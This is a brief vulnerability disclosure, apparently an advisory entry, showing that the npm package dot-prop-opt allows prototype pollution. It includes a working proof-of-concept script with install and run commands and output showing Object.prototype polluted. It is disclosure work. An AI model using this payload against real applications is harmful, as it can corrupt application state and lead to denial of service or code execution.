Description

dot-prop-opt is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
const { set } = require('dot-prop-opt')

console.log('Before: ' + {}.polluted)
set({}, '__proto__.polluted', true)
console.log('After: ' + {}.polluted)

2. Execute the following commands in the terminal:

npm i dot-prop-opt # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.